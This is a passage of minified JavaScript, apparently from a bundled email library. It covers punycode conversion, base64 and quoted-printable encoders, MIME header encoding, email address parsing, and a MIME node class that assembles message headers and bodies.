l=(d=i.charCodeAt(h++))>=48&&d<58?d-48+26:d>=65&&d<91?d-65:d>=97&&d<123?d-97:e;l>=e&&p("invalid-input"),l>o((t-s)/a)&&p("overflow"),s+=l*a;const m=r<=c?1:r>=c+26?26:r-c;if(l<m)break;const u=e-m;a>o(t/u)&&p("overflow"),a*=u}const u=a.length+1;c=m(s-l,u,0==l),o(s/u)>t-r&&p("overflow"),r+=o(s/u),s%=u,a.splice(s++,0,r)}var d;return String.fromCodePoint(...a)},u=function(i){const a=[],n=(i=l(i)).length;let s=128,c=0,h=72;for(const t of i)t<128&&a.push(r(t));const u=a.length;let f=u;for(u&&a.push("-");f<n;){let n=t;for(const t of i)t>=s&&t<n&&(n=t);const l=f+1;n-s>o((t-c)/l)&&p("overflow"),c+=(n-s)*l,s=n;for(const n of i)if(n<s&&++c>t&&p("overflow"),n===s){let t=c;for(let i=e;;i+=e){const n=i<=h?1:i>=h+26?26:i-h;if(t<n)break;const s=t-n,p=e-n;a.push(r(d(n+s%p,0))),t=o(s/p)}a.push(r(d(t,0))),h=m(c,l,f===u),c=0,++f}++c,++s}return a.join("")};return T={version:"2.3.1",ucs2:{decode:l,encode:t=>String.fromCodePoint(...t)},decode:h,encode:u,toASCII:function(t){return c(t,(function(t){return a.test(t)?"xn--"+u(t):t}))},toUnicode:function(t){return c(t,(function(t){return i.test(t)?h(t.slice(4).toLowerCase()):t}))}}}function et(){if(j)return C;j=1;const t=p.Transform;function e(t){return"string"==typeof t&&(t=Buffer.from(t,"utf-8")),t.toString("base64")}function i(t,e){if(e=e||76,(t=(t||"").toString()).length<=e)return t;let i=[],a=0,n=1024*e;for(;a<t.length;){let s=t.substr(a,n).replace(new RegExp(".{"+e+"}","g"),"$&\r\n").trim();i.push(s),a+=n}return i.join("\r\n").trim()}return C={encode:e,wrap:i,Encoder:class extends t{constructor(t){super(),this.options=t||{},!1!==this.options.lineLength&&(this.options.lineLength=this.options.lineLength||76),this._curLine="",this._remainingBytes=!1,this.inputBytes=0,this.outputBytes=0}_transform(t,a,n){if("buffer"!==a&&(t=Buffer.from(t,a)),!t||!t.length)return setImmediate(n);this.inputBytes+=t.length,this._remainingBytes&&this._remainingBytes.length&&(t=Buffer.concat([this._remainingBytes,t],this._remainingBytes.length+t.length),this._remainingBytes=!1),t.length%3?(this._remainingBytes=t.slice(t.length-t.length%3),t=t.slice(0,t.length-t.length%3)):this._remainingBytes=!1;let s=this._curLine+e(t);if(this.options.lineLength){s=i(s,this.options.lineLength);let t=s.lastIndexOf("\n");t<0?(this._curLine=s,s=""):t===s.length-1?this._curLine="":(this._curLine=s.substr(t+1),s=s.substr(0,t+1))}s&&(this.outputBytes+=s.length,this.push(Buffer.from(s,"ascii"))),setImmediate(n)}_flush(t){this._remainingBytes&&this._remainingBytes.length&&(this._curLine+=e(this._remainingBytes)),this._curLine&&(this._curLine=i(this._curLine,this.options.lineLength),this.outputBytes+=this._curLine.length,this.push(this._curLine,"ascii"),this._curLine=""),t()}}}}function it(){if(L)return I;L=1;const t=p.Transform;function e(t){"string"==typeof t&&(t=Buffer.from(t,"utf-8"));let e,i=[[9],[10],[13],[32,60],[62,126]],n="";for(let s=0,o=t.length;s<o;s++)e=t[s],a(e,i)&&(32!==e&&9!==e||s!==o-1&&10!==t[s+1]&&13!==t[s+1])?n+=String.fromCharCode(e):n+="="+(e<16?"0":"")+e.toString(16).toUpperCase();return n}function i(t,e){if(e=e||76,(t=(t||"").toString()).length<=e)return t;let i,a,n,s=0,o=t.length,r=Math.floor(e/3),p="";for(;s<o;)if(n=t.substr(s,e),i=n.match(/\r\n/))n=n.substr(0,i.index+i[0].length),p+=n,s+=n.length;else if("\n"!==n.substr(-1))if(i=n.substr(-r).match(/\n.*?$/))n=n.substr(0,n.length-(i[0].length-1)),p+=n,s+=n.length;else{if(n.length>e-r&&(i=n.substr(-r).match(/[ \t.,!?][^ \t.,!?]*$/)))n=n.substr(0,n.length-(i[0].length-1));else if(n.match(/[=][\da-f]{0,2}$/i))for((i=n.match(/[=][\da-f]{0,1}$/i))&&(n=n.substr(0,n.length-i[0].length));n.length>3&&n.length<o-s&&!n.match(/^(?:=[\da-f]{2}){1,4}$/i)&&(i=n.match(/[=][\da-f]{2}$/gi))&&(a=parseInt(i[0].substr(1,2),16),!(a<128))&&(n=n.substr(0,n.length-3),!(a>=192)););s+n.length<o&&"\n"!==n.substr(-1)?(n.length===e&&n.match(/[=][\da-f]{2}$/i)?n=n.substr(0,n.length-3):n.length===e&&(n=n.substr(0,n.length-1)),s+=n.length,n+="=\r\n"):s+=n.length,p+=n}else p+=n,s+=n.length;return p}function a(t,e){for(let i=e.length-1;i>=0;i--)if(e[i].length){if(1===e[i].length&&t===e[i][0])return!0;if(2===e[i].length&&t>=e[i][0]&&t<=e[i][1])return!0}return!1}return I={encode:e,wrap:i,Encoder:class extends t{constructor(t){super(),this.options=t||{},!1!==this.options.lineLength&&(this.options.lineLength=this.options.lineLength||76),this._curLine="",this.inputBytes=0,this.outputBytes=0}_transform(t,a,n){let s;if("buffer"!==a&&(t=Buffer.from(t,a)),!t||!t.length)return n();this.inputBytes+=t.length,this.options.lineLength?(s=this._curLine+e(t),s=i(s,this.options.lineLength),s=s.replace(/(^|\n)([^\n]*)$/,((t,e,i)=>(this._curLine=i,e))),s&&(this.outputBytes+=s.length,this.push(s))):(s=e(t),this.outputBytes+=s.length,this.push(s,"ascii")),n()}_flush(t){this._curLine&&(this.outputBytes+=this._curLine.length,this.push(this._curLine,"ascii")),t()}}}}function at(){if(H)return O;H=1;const t=et(),e=it(),i=Z();return O={isPlainText:(t,e)=>"string"==typeof t&&!(e?/[\x00-\x08\x0b\x0c\x0e-\x1f"\u0080-\uFFFF]/:/[\x00-\x08\x0b\x0c\x0e-\x1f\u0080-\uFFFF]/).test(t),hasLongerLines:(t,e)=>t.length>131072||new RegExp("^.{"+(e+1)+",}","m").test(t),encodeWord(i,a,n){let s;if((n=n||0)&&n>12&&(n-=12),"Q"===(a=(a||"Q").toString().toUpperCase().trim().charAt(0))?s=e.encode(i).replace(/[^a-z0-9!*+\-/=]/gi,(t=>{let e=t.charCodeAt(0).toString(16).toUpperCase();return" "===t?"_":"="+(1===e.length?"0"+e:e)})):"B"===a&&(s="string"==typeof i?i:t.encode(i),n=n?Math.max(3,(n-n%4)/4*3):0),n&&("B"!==a?s:t.encode(i)).length>n)if("Q"===a)s=this.splitMimeEncodedString(s,n).join("?= =?UTF-8?"+a+"?");else{let e=[],i="";for(let a=0,o=s.length;a<o;a++){let r=s.charAt(a);/[\ud83c\ud83d\ud83e]/.test(r)&&a<o-1&&(r+=s.charAt(++a)),Buffer.byteLength(i+r)<=n||0===a?i+=r:(e.push(t.encode(i)),i=r)}i&&e.push(t.encode(i)),s=e.length>1?e.join("?= =?UTF-8?"+a+"?"):e.join("")}else"B"===a&&(s=t.encode(i));return"=?UTF-8?"+a+"?"+s+("?="===s.substr(-2)?"":"?=")},encodeWords(t,e,i,a){let n;i=i||0;let s=t.match(/(?:^|\s)([^\s]*["\u0080-\uFFFF])/);if(!s)return t;if(a)return this.encodeWord(t,e,i);let o=t.match(/(["\u0080-\uFFFF][^\s]*)[^"\u0080-\uFFFF]*$/);if(!o)return t;let r=s.index+(s[0].match(/[^\s]/)||{index:0}).index,p=o.index+(o[1]||"").length;return n=(r?t.substr(0,r):"")+this.encodeWord(t.substring(r,p),e||"Q",i)+(p<t.length?t.substr(p):""),n},buildHeaderValue(t){let e=[];return Object.keys(t.params||{}).forEach((i=>{let a=t.params[i];!this.isPlainText(a,!0)||a.length>=75?this.buildHeaderParam(i,a,50).forEach((t=>{/[\s"\\;:/=(),<>@[\]?]|^[-']|'$/.test(t.value)&&"*"!==t.key.substr(-1)?e.push(t.key+"="+JSON.stringify(t.value)):e.push(t.key+"="+t.value)})):/[\s'"\\;:/=(),<>@[\]?]|^-/.test(a)?e.push(i+"="+JSON.stringify(a)):e.push(i+"="+a)})),t.value+(e.length?"; "+e.join("; "):"")},buildHeaderParam(t,e,i){let a,n,s,o,r,p,c=[],l="string"==typeof e?e:(e||"").toString(),d=0;if(i=i||50,this.isPlainText(e,!0)){if(l.length<=i)return[{key:t,value:l}];l=l.replace(new RegExp(".{"+i+"}","g"),(t=>(c.push({line:t}),""))),l&&c.push({line:l})}else{if(/[\uD800-\uDBFF]/.test(l)){for(a=[],r=0,p=l.length;r<p;r++)n=l.charAt(r),s=n.charCodeAt(0),s>=55296&&s<=56319&&r<p-1?(n+=l.charAt(r+1),a.push(n),r++):a.push(n);l=a}o="utf-8''";let t=!0;for(d=0,r=0,p=l.length;r<p;r++){if(n=l[r],t)n=this.safeEncodeURIComponent(n);else if(n=" "===n?n:this.safeEncodeURIComponent(n),n!==l[r]){if(!((this.safeEncodeURIComponent(o)+n).length>=i)){t=!0,r=d,o="";continue}c.push({line:o,encoded:t}),o="",d=r-1}(o+n).length>=i?(c.push({line:o,encoded:t}),o=n=" "===l[r]?" ":this.safeEncodeURIComponent(l[r]),n===l[r]?(t=!1,d=r-1):t=!0):o+=n}o&&c.push({line:o,encoded:t})}return c.map(((e,i)=>({key:t+"*"+i+(e.encoded?"*":""),value:e.line})))},parseHeaderValue(t){let e,i={value:!1,params:{}},a=!1,n="",s="value",o=!1,r=!1;for(let p=0,c=t.length;p<c;p++)if(e=t.charAt(p),"key"===s){if("="===e){a=n.trim().toLowerCase(),s="value",n="";continue}n+=e}else{if(r)n+=e;else{if("\\"===e){r=!0;continue}o&&e===o?o=!1:o||'"'!==e?o||";"!==e?n+=e:(!1===a?i.value=n.trim():i.params[a]=n.trim(),s="key",n=""):o=e}r=!1}return"value"===s?!1===a?i.value=n.trim():i.params[a]=n.trim():n.trim()&&(i.params[n.trim().toLowerCase()]=""),Object.keys(i.params).forEach((t=>{let e,a,n,s;(n=t.match(/(\*(\d+)|\*(\d+)\*|\*)$/))&&(e=t.substr(0,n.index),a=Number(n[2]||n[3])||0,i.params[e]&&"object"==typeof i.params[e]||(i.params[e]={charset:!1,values:[]}),s=i.params[t],0===a&&"*"===n[0].substr(-1)&&(n=s.match(/^([^']*)'[^']*'(.*)$/))&&(i.params[e].charset=n[1]||"iso-8859-1",s=n[2]),i.params[e].values[a]=s,delete i.params[t])})),Object.keys(i.params).forEach((t=>{let e;i.params[t]&&Array.isArray(i.params[t].values)&&(e=i.params[t].values.map((t=>t||"")).join(""),i.params[t].charset?i.params[t]="=?"+i.params[t].charset+"?Q?"+e.replace(/[=?_\s]/g,(t=>{let e=t.charCodeAt(0).toString(16);return" "===t?"_":"%"+(e.length<2?"0":"")+e})).replace(/%/g,"=")+"?=":i.params[t]=e)})),i},detectExtension:t=>i.detectExtension(t),detectMimeType:t=>i.detectMimeType(t),foldLines(t,e,i){e=e||76;let a,n,s=0,o=(t=(t||"").toString()).length,r="";for(;s<o;){if(a=t.substr(s,e),a.length<e){r+=a;break}(n=a.match(/^[^\n\r]*(\r?\n|\r)/))?(a=n[0],r+=a,s+=a.length):((n=a.match(/(\s+)[^\s]*$/))&&n[0].length-(i?(n[1]||"").length:0)<a.length?a=a.substr(0,a.length-(n[0].length-(i?(n[1]||"").length:0))):(n=t.substr(s+a.length).match(/^[^\s]+(\s*)/))&&(a+=n[0].substr(0,n[0].length-(i?0:(n[1]||"").length))),r+=a,s+=a.length,s<o&&(r+="\r\n"))}return r},splitMimeEncodedString:(t,e)=>{let i,a,n,s,o=[];for(e=Math.max(e||0,12);t.length;){for(i=t.substr(0,e),(a=i.match(/[=][0-9A-F]?$/i))&&(i=i.substr(0,a.index)),s=!1;!s;)s=!0,(a=t.substr(i.length).match(/^[=]([0-9A-F]{2})/i))&&(n=parseInt(a[1],16),n<194&&n>127&&(i=i.substr(0,i.length-3),s=!1));i.length&&o.push(i),t=t.substr(i.length)}return o},encodeURICharComponent:t=>{let e="",i=t.charCodeAt(0).toString(16).toUpperCase();if(i.length%2&&(i="0"+i),i.length>2)for(let t=0,a=i.length/2;t<a;t++)e+="%"+i.substr(t,2);else e+="%"+i;return e},safeEncodeURIComponent(t){t=(t||"").toString();try{t=encodeURIComponent(t)}catch(e){return t.replace(/[^\x00-\x1F *'()<>@,;:\\"[\]?=\u007F-\uFFFF]+/g,"")}return t.replace(/[\x00-\x1F *'()<>@,;:\\"[\]?=\u007F-\uFFFF]/g,(t=>this.encodeURICharComponent(t)))}}}function nt(){if(z)return N;z=1;class t{constructor(t){this.str=(t||"").toString(),this.operatorCurrent="",this.operatorExpecting="",this.node=null,this.escaped=!1,this.list=[],this.operators={'"':'"',"(":")","<":">",",":"",":":";",";":""}}tokenize(){let t,e=[];for(let e=0,i=this.str.length;e<i;e++)t=this.str.charAt(e),this.checkChar(t);return this.list.forEach((t=>{t.value=(t.value||"").toString().trim(),t.value&&e.push(t)})),e}checkChar(t){if(this.escaped);else{if(t===this.operatorExpecting)return this.node={type:"operator",value:t},this.list.push(this.node),this.node=null,this.operatorExpecting="",void(this.escaped=!1);if(!this.operatorExpecting&&t in this.operators)return this.node={type:"operator",value:t},this.list.push(this.node),this.node=null,this.operatorExpecting=this.operators[t],void(this.escaped=!1);if(['"',"'"].includes(this.operatorExpecting)&&"\\"===t)return void(this.escaped=!0)}this.node||(this.node={type:"text",value:""},this.list.push(this.node)),"\n"===t&&(t=" "),(t.charCodeAt(0)>=33||[" ","\t"].includes(t))&&(this.node.value+=t),this.escaped=!1}}function e(i,a){a=a||{};let n=new t(i).tokenize(),s=[],o=[],r=[];if(n.forEach((t=>{"operator"!==t.type||","!==t.value&&";"!==t.value?o.push(t):(o.length&&s.push(o),o=[])})),o.length&&s.push(o),s.forEach((t=>{t=function(t){let i,a,n,s,o=!1,r="text",p=[],c={address:[],comment:[],group:[],text:[]};for(n=0,s=t.length;n<s;n++)if(i=t[n],"operator"===i.type)switch(i.value){case"<":r="address";break;case"(":r="comment";break;case":":r="group",o=!0;break;default:r="text"}else i.value&&("address"===r&&(i.value=i.value.replace(/^[^<]*<\s*/,"")),c[r].push(i.value));if(!c.text.length&&c.comment.length&&(c.text=c.comment,c.comment=[]),o)c.text=c.text.join(" "),p.push({name:c.text||a&&a.name,group:c.group.length?e(c.group.join(",")):[]});else{if(!c.address.length&&c.text.length){for(n=c.text.length-1;n>=0;n--)if(c.text[n].match(/^[^@\s]+@[^@\s]+$/)){c.address=c.text.splice(n,1);break}let t=function(t){return c.address.length?t:(c.address=[t.trim()]," ")};if(!c.address.length)for(n=c.text.length-1;n>=0&&(c.text[n]=c.text[n].replace(/\s*\b[^@\s]+@[^\s]+\b\s*/,t).trim(),!c.address.length);n--);}if(!c.text.length&&c.comment.length&&(c.text=c.comment,c.comment=[]),c.address.length>1&&(c.text=c.text.concat(c.address.splice(1))),c.text=c.text.join(" "),c.address=c.address.join(" "),!c.address&&o)return[];a={address:c.address||c.text||"",name:c.text||c.address||""},a.address===a.name&&((a.address||"").match(/@/)?a.name="":a.address=""),p.push(a)}return p}(t),t.length&&(r=r.concat(t))})),a.flatten){let t=[],e=i=>{i.forEach((i=>{if(i.group)return e(i.group);t.push(i)}))};return e(r),t}return r}return N=e}function st(){if(U)return B;U=1;const t=p.Transform;return B=class extends t{constructor(t){super(t),this.options=t||{},this.lastByte=!1}_transform(t,e,i){let a,n=0;for(let e=0,i=t.length;e<i;e++)10===t[e]&&(e&&13!==t[e-1]||!e&&13!==this.lastByte)&&(e>n&&(a=t.slice(n,e),this.push(a)),this.push(Buffer.from("\r\n")),n=e+1);n&&n<t.length?(a=t.slice(n),this.push(a)):n||this.push(t),this.lastByte=t[t.length-1],i()}}}function ot(){if(D)return F;D=1;const t=h,e=n,i=tt(),a=p.PassThrough,s=Y(),o=at(),r=it(),c=et(),l=nt(),d=W(),m=function(){if(P)return M;P=1;const t=p.Transform;return M=class extends t{constructor(){super(),this.lastByte=!1}_transform(t,e,i){t.length&&(this.lastByte=t[t.length-1]),this.push(t),i()}_flush(t){return 10===this.lastByte?t():13===this.lastByte?(this.push(Buffer.from("\n")),t()):(this.push(Buffer.from("\r\n")),t())}}}(),u=st(),f=function(){if(R)return q;R=1;const t=p.Transform;return q=class extends t{constructor(t){super(t),this.options=t||{}}_transform(t,e,i){let a,n=0;for(let e=0,i=t.length;e<i;e++)13===t[e]&&(a=t.slice(n,e),n=e+1,this.push(a));n&&n<t.length?(a=t.slice(n),this.push(a)):n||this.push(t),i()}}}();class g{constructor(e,i){this.nodeCounter=0,i=i||{},this.baseBoundary=i.baseBoundary||t.randomBytes(8).toString("hex"),this.boundaryPrefix=i.boundaryPrefix||"--_NmP",this.disableFileAccess=!!i.disableFileAccess,this.disableUrlAccess=!!i.disableUrlAccess,this.normalizeHeaderKey=i.normalizeHeaderKey,this.date=new Date,this.rootNode=i.rootNode||this,this.keepBcc=!!i.keepBcc,i.filename&&(this.filename=i.filename,e||(e=o.detectMimeType(this.filename.split(".").pop()))),this.textEncoding=(i.textEncoding||"").toString().trim().charAt(0).toUpperCase(),this.parentNode=i.parentNode,this.hostname=i.hostname,this.newline=i.newline,this.childNodes=[],this._nodeId=++this.rootNode.nodeCounter,this._headers=[],this._isPlainText=!1,this._hasLongLines=!1,this._envelope=!1,this._raw=!1,this._transforms=[],this._processFuncs=[],e&&this.setHeader("Content-Type",e)}createChild(t,e){e||"object"!=typeof t||(e=t,t=void 0);let i=new g(t,e);return this.appendChild(i),i}appendChild(t){return t.rootNode!==this.rootNode&&(t.rootNode=this.rootNode,t._nodeId=++this.rootNode.nodeCounter),t.parentNode=this,this.childNodes.push(t),t}replace(t){return t===this?this:(this.parentNode.childNodes.forEach(((e,i)=>{e===this&&(t.rootNode=this.rootNode,t.parentNode=this.parentNode,t._nodeId=this._nodeId,this.rootNode=this,this.parentNode=void 0,t.parentNode.childNodes[i]=t)})),t)}remove(){if(!this.parentNode)return this;for(let t=this.parentNode.childNodes.length-1;t>=0;t--)if(this.parentNode.childNodes[t]===this)return this.parentNode.childNodes.splice(t,1),this.parentNode=void 0,this.rootNode=this,this}setHeader(t,e){let i,a=!1;if(!e&&t&&"object"==typeof t)return t.key&&"value"in t?this.setHeader(t.key,t.value):Array.isArray(t)?t.forEach((t=>{this.setHeader(t.key,t.value)})):Object.keys(t).forEach((e=>{this.setHeader(e,t[e])})),this;i={key:t=this._normalizeHeaderKey(t),value:e};for(let e=0,n=this._headers.length;e<n;e++)this._headers[e].key===t&&(a?(this._headers.splice(e,1),e--,n--):(this._headers[e]=i,a=!0));return a||this._headers.push(i),this}addHeader(t,e){return!e&&t&&"object"==typeof t?(t.key&&t.value?this.addHeader(t.key,t.value):Array.isArray(t)?t.forEach((t=>{this.addHeader(t.key,t.value)})):Object.keys(t).forEach((e=>{this.addHeader(e,t[e])})),this):Array.isArray(e)?(e.forEach((e=>{this.addHeader(t,e)})),this):(this._headers.push({key:this._normalizeHeaderKey(t),value:e}),this)}getHeader(t){t=this._normalizeHeaderKey(t);for(let e=0,i=this._headers.length;e<i;e++)if(this._headers[e].key===t)return this._headers[e].value}setContent(t){return this.content=t,"function"==typeof this.content.pipe?(this._contentErrorHandler=t=>{this.content.removeListener("error",this._contentErrorHandler),this.content=t},this.content.once("error",this._contentErrorHandler)):"string"==typeof this.content&&(this._isPlainText=o.isPlainText(this.content),this._isPlainText&&o.hasLongerLines(this.content,76)&&(this._hasLongLines=!0)),this}build(t){let e;t||(e=new Promise(((e,i)=>{t=s.callbackPromise(e,i)})));let i=this.createReadStream(),a=[],n=0,o=!1;return i.on("readable",(()=>{let t;for(;null!==(t=i.read());)a.push(t),n+=t.length})),i.once("error",(e=>{if(!o)return o=!0,t(e)})),i.once("end",(e=>{if(!o)return o=!0,e&&e.length&&(a.push(e),n+=e.length),t(null,Buffer.concat(a,n))})),e}getTransferEncoding(){let t=!1,e=(this.getHeader("Content-Type")||"").toString().toLowerCase().trim();return this.content&&(t=(this.getHeader("Content-Transfer-Encoding")||"").toString().toLowerCase().trim(),t&&["base64","quoted-printable"].includes(t)||(/^text\//i.test(e)?t=this._isPlainText&&!this._hasLongLines?"7bit":"string"==typeof this.content||this.content instanceof Buffer?"Q"===this._getTextEncoding(this.content)?"quoted-printable":"base64":"B"===this.textEncoding?"base64":"quoted-printable":/^(multipart|message)\//i.test(e)||(t=t||"base64"))),t}buildHeaders(){let t=this.getTransferEncoding(),e=[];if(t&&this.setHeader("Content-Transfer-Encoding",t),this.filename&&!this.getHeader("Content-Disposition")&&this.setHeader("Content-Disposition","attachment"),this.rootNode===this){this.getHeader("Date")||this.setHeader("Date",this.date.toUTCString().replace(/GMT/,"+0000")),this.messageId(),this.getHeader("MIME-Version")||this.setHeader("MIME-Version","1.0");for(let t=this._headers.length-2;t>=0;t--){let e=this._headers[t];"Content-Type"===e.key&&(this._headers.splice(t,1),this._headers.push(e))}}return this._headers.forEach((t=>{let i,a,n=t.key,s=t.value,r={};if(!s||"object"!=typeof s||["From","Sender","To","Cc","Bcc","Reply-To","Date","References"].includes(n)||(Object.keys(s).forEach((t=>{"value"!==t&&(r[t]=s[t])})),s=(s.value||"").toString(),s.trim()))if(r.prepared)r.foldLines?e.push(o.foldLines(n+": "+s)):e.push(n+": "+s);else{switch(t.key){case"Content-Disposition":i=o.parseHeaderValue(s),this.filename&&(i.params.filename=this.filename),s=o.buildHeaderValue(i);break;case"Content-Type":i=o.parseHeaderValue(s),this._handleContentType(i),i.value.match(/^text\/plain\b/)&&"string"==typeof this.content&&/[\u0080-\uFFFF]/.test(this.content)&&(i.params.charset="utf-8"),s=o.buildHeaderValue(i),this.filename&&(a=this._encodeWords(this.filename),(a!==this.filename||/[\s'"\\;:/=(),<>@[\]?]|^-/.test(a))&&(a='"'+a+'"'),s+="; name="+a);break;case"Bcc":if(!this.keepBcc)return}if(s=this._encodeHeaderValue(n,s),(s||"").toString().trim()){if("function"==typeof this.normalizeHeaderKey){let t=this.normalizeHeaderKey(n,s);t&&"string"==typeof t&&t.length&&(n=t)}e.push(o.foldLines(n+": "+s,76))}}})),e.join("\r\n")}createReadStream(t){let e,i=new a(t=t||{}),n=i;this.stream(i,t,(t=>{t?n.emit("error",t):i.end()}));for(let t=0,i=this._transforms.length;t<i;t++)e="function"==typeof this._transforms[t]?this._transforms[t]():this._transforms[t],n.once("error",(t=>{e.emit("error",t)})),n=n.pipe(e);e=new m,n.once("error",(t=>{e.emit("error",t)})),n=n.pipe(e);for(let t=0,i=this._processFuncs.length;t<i;t++)e=this._processFuncs[t],n=e(n);if(this.newline){const t=["win","windows","dos","\r\n"].includes(this.newline.toString().toLowerCase())?new u:new f,e=n.pipe(t);return n.on("error",(t=>e.emit("error",t))),e}return n}transform(t){this._transforms.push(t)}processFunc(t){this._processFuncs.push(t)}stream(t,e,i){let a,n,s=this.getTransferEncoding(),o=!1,p=t=>{o||(o=!0,i(t))},l=()=>{let i=0,a=()=>{if(i>=this.childNodes.length)return t.write("\r\n--"+this.boundary+"--\r\n"),p();let n=this.childNodes[i++];t.write((i>1?"\r\n":"")+"--"+this.boundary+"\r\n"),n.stream(t,e,(t=>{if(t)return p(t);setImmediate(a)}))};if(!this.multipart)return p();setImmediate(a)},d=()=>{if(!this.content)return setImmediate(l);{if("[object Error]"===Object.prototype.toString.call(this.content))return p(this.content);"function"==typeof this.content.pipe&&(this.content.removeListener("error",this._contentErrorHandler),this._contentErrorHandler=t=>p(t),this.content.once("error",this._contentErrorHandler));let i=()=>{["quoted-printable","base64"].includes(s)?(a=new("base64"===s?c:r).Encoder(e),a.pipe(t,{end:!1}),a.once("end",l),a.once("error",(t=>p(t))),n=this._getStream(this.content),n.pipe(a)):(n=this._getStream(this.content),n.pipe(t,{end:!1}),n.once("end",l)),n.once("error",(t=>p(t)))};if(this.content._resolve){let t=[],e=0,a=!1,n=this._getStream(this.content);n.on("error",(t=>{a||(a=!0,p(t))})),n.on("readable",(()=>{let i;for(;null!==(i=n.read());)t.push(i),e+=i.length})),n.on("end",(()=>{a||(a=!0,this.content._resolve=!1,this.content._resolvedValue=Buffer.concat(t,e),setImmediate(i))}))}else setImmediate(i)}};this._raw?setImmediate((()=>{if("[object Error]"===Object.prototype.toString.call(this._raw))return p(this._raw);"function"==typeof this._raw.pipe&&this._raw.removeListener("error",this._contentErrorHandler);let e=this._getStream(this._raw);e.pipe(t,{end:!1}),e.on("error",(e=>t.emit("error",e))),e.on("end",l)})):(t.write(this.buildHeaders()+"\r\n\r\n"),setImmediate(d))}setEnvelope(t){let e;this._envelope={from:!1,to:[]},t.from&&(e=[],this._convertAddresses(this._parseAddresses(t.from),e),e=e.filter((t=>t&&t.address)),e.length&&e[0]&&(this._envelope.from=e[0].address)),["to","cc","bcc"].forEach((e=>{t[e]&&this._convertAddresses(this._parseAddresses(t[e]),this._envelope.to)})),this._envelope.to=this._envelope.to.map((t=>t.address)).filter((t=>t));let i=["to","cc","bcc","from"];return Object.keys(t).forEach((e=>{i.includes(e)||(this._envelope[e]=t[e])})),this}getAddresses(){let t={};return this._headers.forEach((e=>{let i=e.key.toLowerCase();["from","sender","reply-to","to","cc","bcc"].includes(i)&&(Array.isArray(t[i])||(t[i]=[]),this._convertAddresses(this._parseAddresses(e.value),t[i]))})),t}getEnvelope(){if(this._envelope)return this._envelope;let t={from:!1,to:[]};return this._headers.forEach((e=>{let i=[];"From"===e.key||!t.from&&["Reply-To","Sender"].includes(e.key)?(this._convertAddresses(this._parseAddresses(e.value),i),i.length&&i[0]&&(t.from=i[0].address)):["To","Cc","Bcc"].includes(e.key)&&this._convertAddresses(this._parseAddresses(e.value),t.to)})),t.to=t.to.map((t=>t.address)),t}messageId(){let t=this.getHeader("Message-ID");return t||(t=this._generateMessageId(),this.setHeader("Message-ID",t)),t}setRaw(t){return this._raw=t,this._raw&&"function"==typeof this._raw.pipe&&(this._contentErrorHandler=t=>{this._raw.removeListener("error",this._contentErrorHandler),this._raw=t},this._raw.once("error",this._contentErrorHandler)),this}_getStream(t){let i;return t._resolvedValue?(i=new a,setImmediate((()=>{try{i.end(t._resolvedValue)}catch(t){i.emit("error",t)}})),i):"function"==typeof t.pipe?t:t&&"string"==typeof t.path&&!t.href?this.disableFileAccess?(i=new a,setImmediate((()=>i.emit("error",new Error("File access rejected for "+t.path)))),i):e.createReadStream(t.path):t&&"string"==typeof t.href?this.disableUrlAccess?(i=new a,setImmediate((()=>i.emit("error",new Error("Url access rejected for "+t.href)))),i):d(t.href,{headers:t.httpHeaders}):(i=new a,setImmediate((()=>{try{i.end(t||"")}catch(t){i.emit("error",t)}})),i)}_parseAddresses(t){return[].concat.apply([],[].concat(t).map((t=>t&&t.address?(t.address=this._normalizeAddress(t.address),t.name=t.name||"",[t]):l(t))))}_normalizeHeaderKey(t){return t=(t||"").toString().replace(/\r?\n|\r/g," ").trim().toLowerCase().replace(/^X-SMTPAPI$|^(MIME|DKIM|ARC|BIMI)\b|^[a-z]|-(SPF|FBL|ID|MD5)$|-[a-z]/gi,(t=>t.toUpperCase())).replace(/^Content-Features$/i,"Content-features")}_handleContentType(t){this.contentType=t.value.trim().toLowerCase(),this.multipart=!!/^multipart\//i.test(this.contentType)&&this.contentType.substr(this.contentType.indexOf("/")+1),this.multipart?this.boundary=t.params.boundary=t.params.boundary||this.boundary||this._generateBoundary():this.boundary=!1}_generateBoundary(){return this.rootNode.boundaryPrefix+"-"+this.rootNode.baseBoundary+"-Part_"+this._nodeId}_encodeHeaderValue(t,e){switch(t=this._normalizeHeaderKey(t)){case"From":case"Sender":case"To":case"Cc":case"Bcc":case"Reply-To":return this._convertAddresses(this._parseAddresses(e));case"Message-ID":case"In-Reply-To":case"Content-Id":return"<"!==(e=(e||"").toString().replace(/\r?\n|\r/g," ")).charAt(0)&&(e="<"+e),">"!==e.charAt(e.length-1)&&(e+=">"),e;case"References":return(e=[].concat.apply([],[].concat(e||"").map((t=>(t=(t||"").toString().replace(/\r?\n|\r/g," ").trim()).replace(/<[^>]*>/g,(t=>t.replace(/\s/g,""))).split(/\s+/)))).map((t=>("<"!==t.charAt(0)&&(t="<"+t),">"!==t.charAt(t.length-1)&&(t+=">"),t)))).join(" ").trim();case"Date":return"[object Date]"===Object.prototype.toString.call(e)?e.toUTCString().replace(/GMT/,"+0000"):(e=(e||"").toString().replace(/\r?\n|\r/g," "),this._encodeWords(e));case"Content-Type":case"Content-Disposition":return(e||"").toString().replace(/\r?\n|\r/g," ");default:return e=(e||"").toString().replace(/\r?\n|\r/g," "),this._encodeWords(e)}}_convertAddresses(t,e){let i=[];return e=e||[],[].concat(t||[]).forEach((t=>{if(t.address)t.address=this._normalizeAddress(t.address),t.name?t.name&&i.push(`${this._encodeAddressName(t.name)} <${t.address}>`):i.push(t.address.indexOf(" ")>=0?`<${t.address}>`:`${t.address}`),t.address&&(e.filter((e=>e.address===t.address)).length||e.push(t));else if(t.group){let a=(t.group.length?this._convertAddresses(t.group,e):"").trim();i.push(`${this._encodeAddressName(t.name)}:${a};`)}})),i.join(", ")}_normalizeAddress(t){let e=(t=(t||"").toString().replace(/[\x00-\x1F<>]+/g," ").trim()).lastIndexOf("@");if(e<0)return t;let a,n=t.substr(0,e),s=t.substr(e+1);try{a=i.toASCII(s.toLowerCase())}catch(t){}return n.indexOf(" ")>=0&&('"'!==n.charAt(0)&&(n='"'+n),'"'!==n.substr(-1)&&(n+='"')),`${n}@${a}`}_encodeAddressName(t){return/^[\w ]*$/.test(t)?t:/^[\x20-\x7e]*$/.test(t)?'"'+t.replace(/([\\"])/g,"\\$1")+'"':o.encodeWord(t,this._getTextEncoding(t),52)}_encodeWords(t){return o.encodeWords(t,this._getTextEncoding(t),52,!0)}_getTextEncoding(t){t=(t||"").toString();let e,i,a=this.textEncoding;return 